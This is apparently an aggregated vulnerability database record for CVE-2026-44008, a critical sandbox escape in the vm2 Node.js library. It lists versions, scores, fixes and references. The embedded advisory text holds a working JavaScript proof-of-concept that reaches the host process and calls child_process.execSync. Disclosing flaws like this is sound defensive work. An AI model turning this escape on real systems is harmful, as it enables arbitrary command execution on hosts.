{"id":"CVE-2026-44008","aliases":["CLSA-2026-1787860907","EUVD-2026-30078","GHSA-2cm2-m3w5-gp2f","GHSA-9qj6-qjgg-37qq","GHSA-m5w8-4gq2-6f8x","GHSA-q3fm-4wcw-g57x","GHSA-v836-6xw4-9cx3","ROOT-APP-NPM-CVE-2026-44008"],"status":"published","title":"vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, the new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00892,"percentile":0.59851,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1100","CWE-668"],"published":"2026-05-08T15:58:48Z","modified":"2026-11-05T03:31:27Z","fixes":[{"ecosystem":"npm","package":"vm2","fixed_in":["3.11.2"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"vm2","fixed_in":["3.9.17-aikido.11","3.9.17-aikido.12","3.10.5-aikido.6","3.9.17-aikido.13","3.9.17-aikido.7","3.9.17-aikido.8","3.9.17-aikido.9","3.9.17-aikido.10","3.10.5-aikido.7","3.9.7-aikido.5","3.9.7-aikido.6","3.10.5-aikido.8"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/vm2","fixed_in":["3.10.5-root.io.4","3.10.5-root.io.5","3.9.17-root.io.11","3.9.17-root.io.12","3.10.5-root.io.6","3.9.17-root.io.13","3.9.17-root.io.7","3.9.17-root.io.8","3.9.17-root.io.9","3.9.17-root.io.10","3.10.5-root.io.7","3.9.7-root.io.5","3.9.7-root.io.6","3.10.5-root.io.8"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.11.1"},{"fixed":"3.11.2"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.10.0-tuxcare.0"},{"fixed":"3.10.0-tuxcare.1"}]}],"versions":["3.10.0"],"bundled":30},{"source":"osv","ecosystem":"npm","package":"vm2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-aikido.11"},{"fixed":"3.9.17-aikido.12"},{"fixed":"3.10.5-aikido.6"},{"fixed":"3.9.17-aikido.13"},{"fixed":"3.9.17-aikido.7"},{"fixed":"3.9.17-aikido.8"},{"fixed":"3.9.17-aikido.9"},{"fixed":"3.9.17-aikido.10"},{"fixed":"3.10.5-aikido.7"},{"fixed":"3.9.7-aikido.5"},{"fixed":"3.9.7-aikido.6"},{"fixed":"3.10.5-aikido.8"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.5-root.io.4"},{"fixed":"3.10.5-root.io.5"},{"fixed":"3.9.17-root.io.11"},{"fixed":"3.9.17-root.io.12"},{"fixed":"3.10.5-root.io.6"},{"fixed":"3.9.17-root.io.13"},{"fixed":"3.9.17-root.io.7"},{"fixed":"3.9.17-root.io.8"},{"fixed":"3.9.17-root.io.9"},{"fixed":"3.9.17-root.io.10"},{"fixed":"3.10.5-root.io.7"},{"fixed":"3.9.7-root.io.5"},{"fixed":"3.9.7-root.io.6"},{"fixed":"3.10.5-root.io.8"}]}]}],"products":[{"vendor":"patriksimek","product":"vm2"},{"vendor":"red hat","product":"red hat ansible automation platform 2.1"},{"vendor":"red hat","product":"red hat developer hub"},{"vendor":"vm2_project","product":"vm2"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-9qj6-qjgg-37qq","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/patriksimek/vm2/commit/ca195f0178989d6f59eafb7af965806f829e20f7","tags":["x_refsource_MISC","fix","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:50850","tags":["x_refsource_MISC","vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44008","tags":["x_refsource_MISC","vdb-entry","x_refsource_REDHAT","web"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477201","tags":["x_refsource_MISC","issue-tracking","x_refsource_REDHAT","report","web"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.2","tags":["x_refsource_MISC","web"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44008.json","tags":["x_refsource_MISC","x_sadp-csaf-vex","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44008","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-9qj6-qjgg-37qq"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44008.json","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-44008","title":"vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, the new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.","status":"published","published":"2026-05-13T17:35:03.275Z","modified":"2026-11-04T03:34:21.416Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"adp"}],"cwes":["CWE-668","CWE-1100"],"updated_at":"2026-11-04T04:50:53.041166Z"}],"euvd":[{"id":"EUVD-2026-30078","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, the new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.","status":"published","published":"2026-05-13T17:35:03Z","modified":"2026-11-04T03:34:21Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-04T05:59:15.754115Z"}],"ghsa":[{"id":"GHSA-9qj6-qjgg-37qq","title":"vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe new method `neutralizeArraySpeciesBatch` works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host `Function` object.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\nconst a = [];\nObject.defineProperty(Array.prototype, 0, {\n\tset(value) {\n\t\ta.f = Buffer.prototype.inspect;\n\t\tvalue.arr.f.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n\t}\n});\nnew Buffer(a);\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.","status":"published","published":"2026-05-08T15:58:48Z","modified":"2026-11-04T03:33:51Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-668","CWE-1100"],"updated_at":"2026-11-04T03:52:50.391589Z"}],"nvd":[{"id":"CVE-2026-44008","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, the new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.","status":"published","published":"2026-05-13T18:16:17.667Z","modified":"2026-11-04T04:17:36.24Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-668","CWE-1100"],"updated_at":"2026-11-04T06:53:16.37612Z"}],"osv":[{"id":"CVE-2026-44008","title":"vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, the new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.","status":"published","published":"2026-05-13T17:35:03.275Z","modified":"2026-11-05T03:31:27.060001624Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-668"],"updated_at":"2026-11-05T07:12:28.867005Z"},{"id":"GHSA-9qj6-qjgg-37qq","title":"vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe new method `neutralizeArraySpeciesBatch` works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host `Function` object.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\nconst a = [];\nObject.defineProperty(Array.prototype, 0, {\n\tset(value) {\n\t\ta.f = Buffer.prototype.inspect;\n\t\tvalue.arr.f.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n\t}\n});\nnew Buffer(a);\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.","status":"published","published":"2026-05-08T15:58:48Z","modified":"2026-11-04T03:45:10.205244303Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-1100","CWE-668"],"updated_at":"2026-11-04T03:56:18.279609Z"},{"id":"ROOT-APP-NPM-CVE-2026-44008","title":"CVE-2026-44008 in vm2 - Patched by Root","description":"Root has patched CVE-2026-44008 in the vm2 package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-08T07:17:45Z","modified":"2026-10-08T08:15:22.807505347Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"CLSA-2026-1787860907","title":"TuxCare security update for vm2 (34 CVEs)","description":"TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.","status":"published","published":"2026-08-27T20:01:47Z","modified":"2026-10-15T09:48:03.095721636Z","updated_at":"2026-11-02T15:43:47.591214Z"}]}}